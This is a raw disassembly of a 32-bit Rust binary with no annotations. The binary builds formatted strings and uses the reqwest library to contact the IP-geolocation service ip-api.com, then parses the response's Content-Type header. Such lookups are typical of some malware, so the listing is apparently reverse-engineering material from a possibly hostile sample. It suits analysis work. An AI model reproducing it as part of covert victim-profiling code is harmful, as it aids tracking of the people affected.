call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0x140], eax
mov edx, edi
mov ecx, esi
push 0x10168008
push 1
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0xf8], eax
mov edx, edi
mov ecx, esi
push 0x10168018
push 2
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0x108], eax
mov edx, edi
mov ecx, esi
push 0x10168028
push 3
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0x80], eax
mov edx, edi
mov ecx, esi
push 0x10168038
push 4
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h0d1afef7ef128e8b
pop ecx
pop edx
mov dword [esp + 0xe8], eax
lea eax, [esp + 0x140]
mov ecx, sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h47856111cb2a05ae
mov dword [esp + 0x1f0], 0x10168074
mov dword [esp + 0x1f4], 6
and dword [esp + 0x200], 0
mov dword [esp + 0x320], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0x324], ecx
mov dword [esp + 0x328], eax
lea eax, [esp + 0x108]
mov dword [esp + 0x32c], ecx
mov dword [esp + 0x330], eax
lea eax, [esp + 0x80]
mov dword [esp + 0x334], ecx
mov dword [esp + 0x338], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0x33c], ecx
mov dword [esp + 0x340], eax
lea eax, [esp + 0x320]
mov dword [esp + 0x344], ecx
mov dword [esp + 0x1f8], eax
mov dword [esp + 0x1fc], 5
lea ecx, [esp + 0x90]
lea edx, [esp + 0x1f0]
call sym.alloc::fmt::format::h28429d8526483b61
mov edi, dword [esp + 0x94]
mov eax, dword [esp + 0x98]
mov esi, dword [esp + 0x90]
add eax, edi
mov edx, edi
lea ecx, [esp + 0x2f0]
push eax
call fcn.100e4dc4
pop eax
mov ecx, esi
mov edx, edi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea ecx, [esp + 0x60]
call sym.core::ptr::drop_in_place_LT_alloc..vec..Vec_LT_alloc..string..String_GT__GT_::h13ecbf0fee111856
mov edx, ebx
mov ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
add edx, 0xc
add ebx, 0xfffffff4
jmp 0x10009d08
mov eax, dword [esp + 0x14]
jmp 0x10009ece
mov eax, edx
mov dword [esp + 0x164], eax
call sym.__ZN4core3ptr104drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT_alloc..vec..Vec_LT_alloc..string..String_GT__GT__GT_17h4a3
mov edi, dword [esp + 0x38]
mov edx, dword [esp + 0x11c]
lea esi, [esp + 0x1f0]
mov ecx, dword [esp + 0x24]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, edi
jmp 0x100097ab
lea ecx, [esp + 0x48]
call sym.__ZN4core3ptr107drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT__LP_std..path..PathBuf_C_std..path..PathBuf_RP__GT__GT_17h
mov dword [esp + 0xf8], 0x20746f4e
mov dword [esp + 0xfc], 0x6e756f66
mov byte [esp + 0x100], 0x64
lea edi, [esp + 0x320]
lea edx, [esp + 0xf8]
mov ecx, edi
push 9
call sym.__LT_T_u20_as_u20_alloc..slice..hack..ConvertVec_GT_::to_vec::hce01cac4b6d59a8a
pop eax
mov ecx, esi
mov edx, edi
call sym.alloc::string::String::from_utf8::hb26e5f2f701b430e
cmp dword [esp + 0x1f0], 0x80000000
jne 0x1001007c
mov eax, dword [esp + 0x1f4]
mov ebx, dword [esp + 0x1fc]
mov dword [esp + 0x594], eax
mov eax, dword [esp + 0x1f8]
mov dword [esp + 0x598], ebx
mov dword [esp + 0x308], eax
mov ecx, edi
mov edx, str.http:__ip_api.com_json_
push 0x17
call sym.__LT_T_u20_as_u20_alloc..slice..hack..ConvertVec_GT_::to_vec::hce01cac4b6d59a8a
pop eax
mov ecx, esi
mov edx, edi
call sym.alloc::string::String::from_utf8::hb26e5f2f701b430e
cmp dword [esp + 0x1f0], 0x80000000
jne 0x100100e3
mov eax, dword [esp + 0x1f4]
mov edi, dword [esp + 0x1f8]
mov edx, dword [esp + 0x1fc]
mov dword [esp + 0x590], eax
mov dword [esp + 0xc], edx
mov ecx, esi
call sym.reqwest::blocking::client::ClientBuilder::new::h1dc698f3cb1623a3
lea ebx, [esp + 0x90]
mov edx, esi
mov ecx, ebx
call sym.reqwest::blocking::client::ClientBuilder::build::h3ae907c8d94ac45d
mov esi, dword [esp + 0x98]
mov eax, dword [esp + 0x90]
cmp esi, 0x3b9aca01
je 0x100100cd
mov ecx, dword [ebx + 0x14]
movsd xmm0, qword [ebx + 0xc]
lea edx, [esp + 0x4c]
mov dword [edx + 0x10], ecx
movsd qword [edx + 8], xmm0
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x94]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], esi
mov ecx, ebx
mov dword [esp + 0x58c], edi
mov edx, edi
push dword [esp + 0xc]
call sym.__LT__RF_alloc..string..String_u20_as_u20_reqwest..into_url..PolyfillTryInto_GT_::into_url::h9413a649bb13f7a5
pop eax
cmp dword [esp + 0x90], 2
jne 0x1000a06c
mov eax, dword [esp + 0x94]
mov dword [esp + 0x1f8], eax
and dword [esp + 0x1f4], 0
mov dword [esp + 0x1f0], 3
mov ecx, 0x10195d60
call sym.core::ptr::drop_in_place_LT_http..method..Method_GT_::h108d726e79780957
jmp 0x1000a07f
lea ecx, [esp + 0x1f0]
mov edx, 0x10195d60
push ebx
call sym.reqwest::blocking::request::Request::new::h26a41850aecb8e08
pop eax
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
lock inc dword [eax]
jle 0x10010275
mov dword [esp + 0x90], ecx
mov dword [esp + 0x94], edx
mov dword [esp + 0x98], esi
mov dword [esp + 0xa0], eax
lea edi, [esp + 0x320]
lea esi, [esp + 0x1f0]
lea edx, [esp + 0x90]
mov ecx, edi
push esi
call sym.reqwest::blocking::request::RequestBuilder::new::h2e4bea2744372010
pop eax
mov ecx, esi
mov edx, edi
call sym.reqwest::blocking::request::RequestBuilder::send::h5a70c39dbd973171
lea ecx, [esp + 0x58]
call sym.core::ptr::drop_in_place_LT_alloc..sync..Arc_LT_reqwest..blocking..client..InnerClientHandle_GT__GT_::h11574ea0f3de0e9e
mov eax, dword [esp + 0x1f0]
xor eax, 3
or eax, dword [esp + 0x1f4]
je 0x100100c6
push 0x20
pop ecx
lea edi, [esp + 0x160]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x18], 0x3b9aca00
mov edi, dword [esp + 0x1c8]
cmp edi, 0x3b9aca00
je 0x1000a14e
mov eax, dword [esp + 0x1c0]
mov ebx, dword [esp + 0x1c4]
mov dword [esp + 0xc], eax
call sym.std::time::Instant::now::h5072b777a08264cc
mov esi, ecx
mov ecx, eax
push edi
push ebx
push dword [esp + 0x14]
push esi
call dbg.add
add esp, 0x10
mov ebx, edx
mov dword [esp + 0x74], eax
mov dword [esp + 0x18], ecx
call sym.std::thread::current::hce574a66c2f80a29
mov ecx, eax
call sym.alloc::sync::Arc_LT_T_GT_::new::h3dc0bd01beabf04b
add eax, 8
mov dword [esp + sym.futures_task::waker::clone_arc_raw::h460a6fd566cc7957], 0x101b4f44
mov dword [esp + 0x1e4], eax
lea eax, [esp + 0x1e0]
mov dword [esp + 0x140], eax
mov dword [esp + 0x144], eax
push 0x18
pop ecx
lea edi, [esp + 0x320]
lea esi, [esp + 0x160]
xor eax, eax
lea edx, [esp + 0x3e8]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x1f0]
mov dword [esp + 0x380], 0x101b89e4
mov dword [esp + 0x384], 5
mov byte [esp + 0x538], 0
mov dword [esp + 0x38], ebx
test al, al
je 0x1000a21a
movzx eax, al
cmp eax, 3
jne 0x1000fd30
movzx eax, byte [esp + 0x500]
test eax, eax
je 0x1000a571
cmp eax, 3
jne 0x1000fd42
movzx eax, byte [esp + 0x4dd]
lea ecx, [esp + 0x4a8]
mov eax, dword [eax*4 + 0x100104b4]
add eax, dword [esp + 0x30]
jmp eax
push 0x18
pop ecx
lea eax, [esp + 0x388]
mov edx, esi
lea esi, [esp + 0x320]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1f4], 0x1d
mov ecx, dword [esp + 0x380]
and dword [esp + 0x1fc], 0
and dword [esp + 0x1f8], 0
and dword [esp + 0x1f0], 0
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x384]
mov dword [esp + 0x20], ecx
mov ecx, eax
call sym.http::header::map::HeaderMap_LT_T_GT_::get::h866632a3894da4d0
test eax, eax
je 0x1000ab19
mov edx, dword [eax + 8]
mov ecx, dword [eax + 4]
call sym.http::header::value::HeaderValue::to_str::h7b0ded248e22eb03
test eax, eax
je 0x1000ab19
mov ecx, eax
mov esi, eax
mov edi, edx
push 3
push str.__home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_impl_client.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
call sym.core::cmp::impls::__LT_impl_u20_core..cmp..PartialEq_LT__RF_B_GT__u20_for_u20__RF_A_GT_::eq::h5f4ea6b4ed9a57f6
pop ecx
pop edx
test al, al
je 0x1000a579
movsd xmm0, qword [0x101b25b0]
movsd xmm1, qword [0x101b25a9]
xor esi, esi
xor eax, eax
xor ebx, ebx
mov edi, 0x80000002
xor edx, edx
xor ecx, ecx
mov dword [esp + 0x34], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x3c], 0
inc ebx
mov dword [esp + 0xe0], ebx
movsd qword [esp + 0x67], xmm0
movsd qword [esp + 0x60], xmm1
movzx edx, dl
shl ecx, 0x10
movsd xmm0, qword [esp + 0x60]
movsd xmm1, qword [esp + 0x67]
mov dword [esp + 0x158], eax
mov dword [esp + 0x154], esi
shl edx, 8
or edx, ecx
movzx ecx, byte [esp + 0x3c]
movsd qword [esp + 0x80], xmm0
movsd qword [esp + 0x87], xmm1
movsd xmm0, qword [esp + 0x80]
movsd xmm1, qword [esp + 0x87]
or ecx, edx
mov edx, dword [esp + 0x34]
mov dword [esp + 0x508], edx
mov edx, dword [esp + 0x310]
mov dword [esp + 0x50c], ecx
mov dword [esp + 0x510], edi
add edi, 0x80000000
mov ecx, dword [esp + 0xe0]
cmp edi, 3
cmovae edi, ebx
mov ebx, edi
mov dword [esp + 0x514], edx
mov dword [esp + 0x518], esi
mov dword [esp + 0x51c], eax
mov eax, dword [esp + 0xc]
shl esi, 4
add esi, edx
mov dword [esp + 0x24], esi
mov byte [esp + 0x520], al
lea eax, [esp + 0x320]
movsd qword [eax + 0x208], xmm1
movsd qword [eax + 0x201], xmm0
mov dword [esp + 0x530], ecx
test ebx, ebx
je 0x1000a482
cmp ebx, 1
jne 0x1000a641
mov ecx, dword [esp + 0x24]
cmp edx, ecx
je 0x1000a4f6
mov eax, dword [edx + 8]
mov edi, dword [edx]
mov ebx, dword [edx + 4]
lea esi, [edx + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [edx + 0xc]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x520]
call sym.mime::Source::as_ref::h25afb376129645b0
mov ecx, eax
push 0x101b8a54
push ebx
push edi
call sym.core::str::traits::__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20_str_GT_::index::hdc28a58867bf1ec3
add esp, 0xc
mov ebx, eax
mov edi, edx
lea ecx, [esp + 0x520]
call sym.mime::Source::as_ref::h25afb376129645b0
mov ecx, eax
push 0x101b8a64
push dword [esp + 0x14]
push dword [esp + 0x14]
call sym.core::str::traits::__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20_str_GT_::index::hdc28a58867bf1ec3
add esp, 0xc
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov ecx, ebx
mov edx, edi
push 7
push str.charset
call sym.core::cmp::impls::__LT_impl_u20_core..cmp..PartialEq_LT__RF_B_GT__u20_for_u20__RF_A_GT_::eq::h0c4999b5b81ed118
pop ecx
pop edx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x90], ebx
mov dword [esp + 0x94], edi
mov byte [esp + 0x98], 1
mov edx, esi
mov dword [esp + 0x9c], ecx
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xa0], ecx
push 0x14
jmp 0x1000a4fc
mov eax, dword [0x101b89e0]
movsd xmm0, qword [0x101b89d8]
lea ecx, [esp + 0x1f0]
mov dword [esp + 0x1f8], eax
movsd qword [esp + 0x1f0], xmm0
mov eax, dword [0x101b89f4]
movsd xmm0, qword [0x101b89ec]
movsd qword [ecx + 0xc], xmm0
mov dword [ecx + 0x14], eax
movsd xmm1, qword [esp + 0x1f8]
movsd xmm0, qword [esp + 0x1f0]
movsd qword [esp + 0x98], xmm1
movsd xmm1, qword [esp + 0x200]
movsd qword [esp + 0x90], xmm0
movsd qword [esp + 0xa0], xmm1
push 2
pop eax
jmp 0x1000a507
mov al, 2
mov edx, ecx
push 8
pop ecx
mov byte [esp + ecx + 0x90], al
xor eax, eax
inc eax
cmp byte [esp + 0x98], 2
je 0x1000a641
mov cl, byte [esp + 0x98]
mov edi, dword [esp + 0xa0]
mov byte [esp + 0xc], cl
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x10], ecx
mov cl, byte [esp + 0xa4]
mov byte [esp + 0x14], cl
mov esi, edx
mov ebx, eax
mov edx, str.charset
lea ecx, [esp + 0x90]
push 7
call sym.mime::name_eq_str::ha8755a9660aacb41
mov edx, esi
add esp, 4
test al, al
je 0x1000a3bf
cmp byte [esp + 0xc], 2
je 0x1000a3bf
jmp 0x1000a658
push 0x18
pop eax
jmp 0x1000adac
lea eax, [esi + edi]
mov edx, esi
mov dword [esp + 0xc], edi
mov dword [esp + 0x2c], eax
xor eax, eax
cmp dword [esp + 0xc], eax
je 0x1000ab19
movzx ecx, byte [edx + eax]
mov edi, eax
inc eax
cmp byte [ecx + 0x101b261c], 0
jne 0x1000a588
cmp cl, 0x2f
jne 0x1000ab19
test edi, edi
je 0x1000ab19
mov dword [esp + 0xe0], edi
lea edi, [edx + edi + 1]
mov dword [esp + 0x34], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], edx
mov ecx, edi
mov ebx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x2c]
je 0x1000a696
lea edx, [ecx + 1]
mov dword [esp + 0x24], ebx
inc ebx
mov dword [esp + 0x10], edx
movzx edx, byte [ecx]
mov dword [esp + 0x14], ebx
cmp edx, 0x2b
je 0x1000a606
cmp edx, 0x3b
jne 0x1000a60c
cmp dword [esp + 0x24], eax
jbe 0x1000a60c
jmp 0x1000a70b
cmp dword [esp + 0x24], eax
ja 0x1000a622
cmp byte [edx + 0x101b261c], 0
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x10]
jne 0x1000a5d0
jmp 0x1000ab19
mov edx, dword [esp + 0x24]
inc ecx
lea edi, [edx + 1]
mov dword [esp + 0x3c], edx
mov edx, dword [esp + 0x28]
mov dword [esp + 0x14], edi
mov edi, ecx
xor ecx, ecx
inc ecx
mov dword [esp + 0x34], ecx
jmp 0x1000a5ce
mov eax, dword [esp + 0x15c]
mov edi, dword [esp + 0x2ec]
mov byte [esp + 0x14], 2
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
cmp byte [esp + 0x14], 2
mov ecx, 0
mov dword [esp + 0x2ec], edi
mov eax, edx
mov dword [esp + 0x15c], edx
cmove eax, ecx
jmp 0x1000ab26
lea ecx, [esp + 0x1f0]
push dword [esp + 0xc]
call sym.alloc::str::__LT_impl_u20_str_GT_::to_ascii_lowercase::hd7c8987e8b2229b6
pop eax
mov eax, dword [esp + 0x1f8]
movsd xmm0, qword [esp + 0x1f0]
lea ecx, [esp + 0x4c]
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x154]
mov edi, 0x80000002
mov dword [ecx + 7], eax
movsd qword [ecx - 1], xmm0
mov al, 1
mov ecx, edx
mov dword [esp + 0x3c], edx
mov dl, dh
movsd xmm0, qword [esp + 0x48]
movsd xmm1, qword [esp + 0x4f]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x158]
shr ecx, 0x10
xor ebx, ebx
inc ebx
movsd qword [esp + 0x60], xmm0
movsd qword [esp + 0x67], xmm1
jmp 0x1000a2f3
mov eax, dword [esp + 0x24]
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x1f0], 0x80000002
add eax, 2
mov edi, ebx
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x1f0]
mov dword [esp + 0xe4], edx
mov dword [esp + 0x40], eax
mov eax, edi
cmp eax, ecx
jae 0x1000ba80
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x44], eax
cmp ecx, dword [esp + 0x2c]
je 0x1000ab06
mov eax, ecx
inc ecx
lea edx, [ebx + 1]
movzx eax, byte [eax]
cmp eax, 0x20
je 0x1000a774
cmp byte [eax + 0x101b261c], 0
mov ebx, edx
jne 0x1000a74f
jmp 0x1000a78f
cmp ebx, dword [esp + 0x44]
mov dword [esp + 0x10], ecx
jne 0x1000ab06
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0xc]
mov ebx, edx
inc eax
jmp 0x1000a73f
cmp al, 0x3d
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
jne 0x1000ab06
mov eax, dword [esp + 0x14]
dec eax
cmp eax, dword [esp + 0x44]
mov dword [esp + 0x2e8], eax
jbe 0x1000ab06
mov ebx, dword [esp + 0x14]
xor eax, eax
test al, al
je 0x1000a7fb
mov ecx, dword [esp + 0x10]
cmp ecx, dword [esp + 0x2c]
je 0x1000ab06
mov edx, dword [esp + 0x10]
mov edi, ebx
mov cl, byte [edx]
inc edx
mov dword [esp + 0x10], edx
cmp cl, 0x22
jne 0x1000a7e5
cmp edi, dword [esp + 0x14]
ja 0x1000a831
cmp cl, 0x20
jb 0x1000ab06
inc edi
cmp cl, 0x7f
mov ebx, edi
jne 0x1000a7bb
jmp 0x1000ab06
mov ecx, dword [esp + 0x10]
cmp ecx, dword [esp + 0x2c]
je 0x1000a860
movzx edx, byte [ecx]
inc ecx
mov edi, ebx
inc ebx
mov dword [esp + 0x10], ecx
cmp edx, 0x22
je 0x1000a820
cmp byte [edx + 0x101b261c], 0
jne 0x1000a7bb
jmp 0x1000a870
cmp edi, dword [esp + 0x14]
mov al, 1
mov dword [esp + 0x14], ebx
je 0x1000a7bb
jmp 0x1000ab06
mov ecx, dword [esp + 0x10]
mov edx, edi
cmp ecx, dword [esp + 0x2c]
je 0x1000a88b
movzx eax, byte [ecx]
inc ecx
inc edx
cmp eax, 0x20
je 0x1000a837
cmp eax, 0x3b
jne 0x1000ab06
inc edx
mov dword [esp + 0x10], ecx
mov ebx, edx
mov dword [esp + 0x150], edx
jmp 0x1000a8a1
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xc]
mov edi, eax
jmp 0x1000a89a
cmp dl, 0x3b
jne 0x1000ab06
cmp edi, dword [esp + 0x14]
mov dword [esp + 0x150], ebx
ja 0x1000a8a1
jmp 0x1000ab06
mov eax, dword [esp + 0x2c]
inc edx
mov ebx, edx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x150], eax
mov eax, dword [esp + 0x40]
mov ecx, 1
add eax, 0x80000000
cmp eax, 3
cmovae eax, ecx
cmp eax, 2
jne 0x1000a9d3
mov eax, dword [esp + 0x44]
cmp dword [esp + 0x78], eax
jne 0x1000a971
mov ecx, dword [esp + 0x78]
mov edx, dword [esp + 0x2e8]
push 0x101b25bc
push dword [esp + 0x10]
push dword [esp + 0x30]
call sym.__ZN4core3str6traits108__LT_impl_u20_core..slice..index..SliceIndex_LT_str_GT__u20_for_u20_core..ops..range..Range_LT_usize_GT
add esp, 0xc
mov esi, edx
mov ecx, 0x101b89d8
mov edx, eax
push esi
call sym.__LT_mime..Name_u20_as_u20_core..cmp..PartialEq_LT__RF_str_GT__GT_::eq::h03fcbe3bfd7fe55c
pop ecx
test al, al
je 0x1000a971
mov ecx, dword [esp + 0x14]
mov edx, edi
push 0x101b25cc
push dword [esp + 0x10]
push dword [esp + 0x30]
call sym.__ZN4core3str6traits108__LT_impl_u20_core..slice..index..SliceIndex_LT_str_GT__u20_for_u20_core..ops..range..Range_LT_usize_GT
add esp, 0xc
mov esi, edx
mov ecx, 0x101b89ec
mov edx, eax
push esi
call sym.__LT_mime..Name_u20_as_u20_core..cmp..PartialEq_LT__RF_str_GT__GT_::eq::h03fcbe3bfd7fe55c
pop ecx
test al, al
je 0x1000a971
mov edx, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x40]
call sym.core::ptr::drop_in_place_LT_mime..ParamSource_GT_::hbc7a0dac172b3157
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0xc]
mov edi, dword [esp + 0x150]
mov dword [esp + 0x1f0], 0x80000000
mov dword [esp + 0x40], 0x80000000
mov dword [esp + 0x1f4], eax
mov dword [esp + 0x7c], eax
jmp 0x1000a73d
push 0x10
pop ecx
call sym.__ZN5alloc5alloc15exchange_malloc17h142decb00e75c662E.420
mov esi, eax
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x14]
mov dword [esi], eax
mov eax, dword [esp + 0x2e8]
mov dword [esi + 4], eax
mov dword [esi + 8], edx
mov dword [esi + 0xc], edi
mov edx, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x40]
call sym.core::ptr::drop_in_place_LT_mime..ParamSource_GT_::hbc7a0dac172b3157
mov ecx, dword [esp + 0x24]
xor eax, eax
inc eax
mov dword [esp + 0x1f0], eax
mov dword [esp + 0x1f4], esi
mov dword [esp + 0x1f8], eax
mov edx, eax
mov dword [esp + 0x1fc], ecx
jmp 0x1000aaf6
test eax, eax
mov eax, dword [esp + 0x7c]
jne 0x1000aa9c
mov esi, dword [esp + 0x1f4]
push 2
pop eax
add eax, esi
mov dword [esp + 0x7c], eax
lea eax, [esi + 9]
mov dword [esp + 0xe4], eax
lea eax, [esi + 0xa]
mov dword [esp + 0x57c], eax
lea eax, [esi + 0xf]
mov dword [esp + 0x578], eax
push 0x20
pop ecx
call sym.__ZN5alloc5alloc15exchange_malloc17h142decb00e75c662E.420
mov ecx, eax
mov eax, dword [esp + 0x7c]
mov dword [ecx], eax
mov eax, dword [esp + 0xe4]
mov dword [ecx + 4], eax
mov eax, dword [esp + 0x57c]
mov dword [ecx + 8], eax
mov eax, dword [esp + 0x578]
mov dword [ecx + 0xc], eax
mov eax, dword [esp + 0x44]
mov dword [ecx + 0x10], eax
mov eax, dword [esp + 0x2e8]
mov dword [ecx + 0x14], eax
mov eax, dword [esp + 0x14]
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x1c], edi
mov edi, ecx
mov ecx, dword [esp + 0x40]
mov edx, esi
call sym.core::ptr::drop_in_place_LT_mime..ParamSource_GT_::hbc7a0dac172b3157
mov ecx, dword [esp + 0xc]
mov eax, edi
push 2
pop edx
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1f0], edx
mov dword [esp + 0x1f4], edi
mov dword [esp + 0x7c], edi
mov edi, dword [esp + 0x150]
mov dword [esp + 0x1f8], edx
mov dword [esp + 0x1fc], eax
jmp 0x1000a72b
mov edx, dword [esp + 0xe4]
cmp edx, dword [esp + 0x40]
jne 0x1000aac5
lea ecx, [esp + 0x1f0]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve_for_push::hecd92cb45cde395a
mov esi, dword [esp + 0x1f4]
mov edx, dword [esp + 0x1f8]
jmp 0x1000aac7
mov esi, eax
mov ecx, dword [esp + 0x44]
mov eax, edx
inc edx
mov dword [esp + 0x7c], esi
shl eax, 4
mov dword [esi + eax], ecx
mov ecx, dword [esp + 0x2e8]
mov dword [esi + eax + 4], ecx
mov ecx, dword [esp + 0x14]
mov dword [esi + eax + 8], ecx
mov dword [esi + eax + 0xc], edi
mov dword [esp + 0x1f8], edx
mov ecx, dword [esp + 0xc]
mov edi, dword [esp + 0x150]
jmp 0x1000a72b
mov ecx, dword [esp + 0x1f0]
mov edx, dword [esp + 0x1f4]
call sym.core::ptr::drop_in_place_LT_mime..ParamSource_GT_::hbc7a0dac172b3157
mov dword [esp + 0x508], 2
xor eax, eax
mov esi, dword [esp + 0x1c]
test eax, eax
xorpd xmm0, xmm0
cmove edi, dword [esp + 0x20]
cmovne esi, eax
lea eax, [esp + 0x1f0]
and word [eax + 0x11], 0
movsd qword [eax + 9], xmm0
movsd qword [eax + 1], xmm0
lea eax, [esi + edi]
inc esi
mov dword [esp + 0xc], eax
test edi, edi
je 0x1000ad7a
mov cl, byte [esi - 1]
movzx edx, cl
lea ebx, [edx - 9]
cmp ebx, 0x17
ja 0x1000ab7a
mov eax, 0x80001b
bt eax, ebx
jae 0x1000ab7a
inc esi
dec edi
jmp 0x1000ab56
lea edi, [edx - 0x2d]
cmp edi, 0xd
ja 0x1000ab8c
mov eax, 0x2003
bt eax, edi
jb 0x1000aba2
cmp edx, 0x5f
je 0x1000aba2
mov edx, ecx
add dl, 0xbf
cmp dl, 0x1a
jae 0x1000ad5e
or cl, 0x20
xor edi, edi
mov byte [esp + 0x1f0], cl
inc edi
cmp esi, dword [esp + 0xc]
je 0x1000ac40
mov dl, byte [esi]
mov ebx, edi
movzx ecx, dl
lea edi, [ecx - 0x2d]
cmp edi, 0xd
ja 0x1000abcf
mov eax, 0x2003
bt eax, edi
jb 0x1000ac1e
cmp ecx, 0x5f
je 0x1000ac1e
add ecx, 0xfffffff7
cmp ecx, 0x17
ja 0x1000abe6
mov edi, 0x80001b
bt edi, ecx
jb 0x1000ac46
mov ecx, edx
add cl, 0xbf
cmp cl, 0x1a
jae 0x1000ac06
cmp ebx, 0x13
je 0x1000ad7a
mov edi, ebx
jae 0x1000fa2a
or dl, 0x20
jmp 0x1000ac32
mov ecx, edx
add cl, 0x9f
cmp cl, 0x1a
jb 0x1000ac1e
mov ecx, edx
add cl, 0xc6
cmp cl, 0xf6
jb 0x1000ad7a
mov edi, ebx
cmp ebx, 0x13
je 0x1000ad7a
cmp edi, 0x12
ja 0x1000d7c7
mov byte [esp + edi + 0x1f0], dl
inc esi
inc edi
jmp 0x1000abac
mov esi, dword [esp + 0xc]
jmp 0x1000ac49
inc esi
mov edi, ebx
cmp esi, dword [esp + 0xc]
je 0x1000ac6f
movzx ecx, byte [esi]
add ecx, 0xfffffff7
cmp ecx, 0x17
ja 0x1000ad7a
mov edx, 0x80001b
bt edx, ecx
jae 0x1000ad7a
inc esi
jmp 0x1000ac49
cmp edi, 0x14
jae 0x1001004c
lea eax, [esp + edi + 0x1f0]
mov esi, 0xe4
xor ecx, ecx
mov ebx, 0xe4
mov dword [esp + 0x1c], eax
push 0x18
pop eax
mov dword [esp + 0x20], edi
cmp ecx, esi
jae 0x1000ad46
shr ebx, 1
xor edx, edx
mov dword [esp + 0x10], ecx
add ebx, ecx
mov ecx, 0xff
cmp dword [ebx*8 + 0x1018e9f8], edi
mov dword [esp + 0xc], ebx
setne dl
cmovb edx, ecx
jne 0x1000ad24
mov eax, dword [ebx*8 + 0x1018e9f4]
mov ecx, dword [esp + 0x1c]
mov edx, edi
mov dword [esp + 0x14], esi
mov esi, edx
test edx, edx
je 0x1000acf9
mov dl, byte [eax + esi - 1]
xor ebx, ebx
lea edi, [ecx - 1]
cmp dl, byte [ecx - 1]
mov ecx, 0xff
lea edx, [esi - 1]
setne bl
cmovb ebx, ecx
mov ecx, edi
test bl, bl
je 0x1000acd1
jmp 0x1000ad00
lea edi, [esp + 0x1f0]
lea eax, [esp + 0x1f0]
movzx edx, bl
cmp eax, edi
setne al
neg al
test esi, esi
movzx eax, al
cmove edx, eax
push 0x18
pop eax
mov edi, dword [esp + 0x20]
mov esi, dword [esp + 0x14]
test dl, dl
je 0x1000ad4a
mov ebx, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
cmp dl, 1
cmove esi, ebx
inc ebx
cmp dl, 0xff
cmove ecx, ebx
mov ebx, esi
sub ebx, ecx
jmp 0x1000ac96
xor esi, esi
jmp 0x1000ad55
mov ecx, dword [esp + 0xc]
mov esi, dword [ecx*4 + 0x1018f114]
lea edx, [esp + 0x3e8]
jmp 0x1000ad86
mov edx, ecx
add dl, 0x9f
cmp dl, 0x1a
jb 0x1000aba2
mov edx, ecx
add dl, 0xd0
cmp dl, 0xa
jb 0x1000aba2
xor esi, esi
lea edx, [esp + 0x3e8]
push 0x18
pop eax
test esi, esi
mov ecx, 0x1018e084
mov edi, edx
cmove esi, ecx
mov ecx, eax
mov dword [esp + 0x534], esi
lea esi, [esp + 0x388]
rep movsd dword es:[edi], dword [esi]
mov byte [esp + 0x500], 0
mov ecx, eax
lea edi, [esp + 0x448]
mov esi, edx
lea eax, [esp + 0x320]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x4a8]
lea esi, [esp + 0x1f0]
movsd xmm0, qword [eax + 0x168]
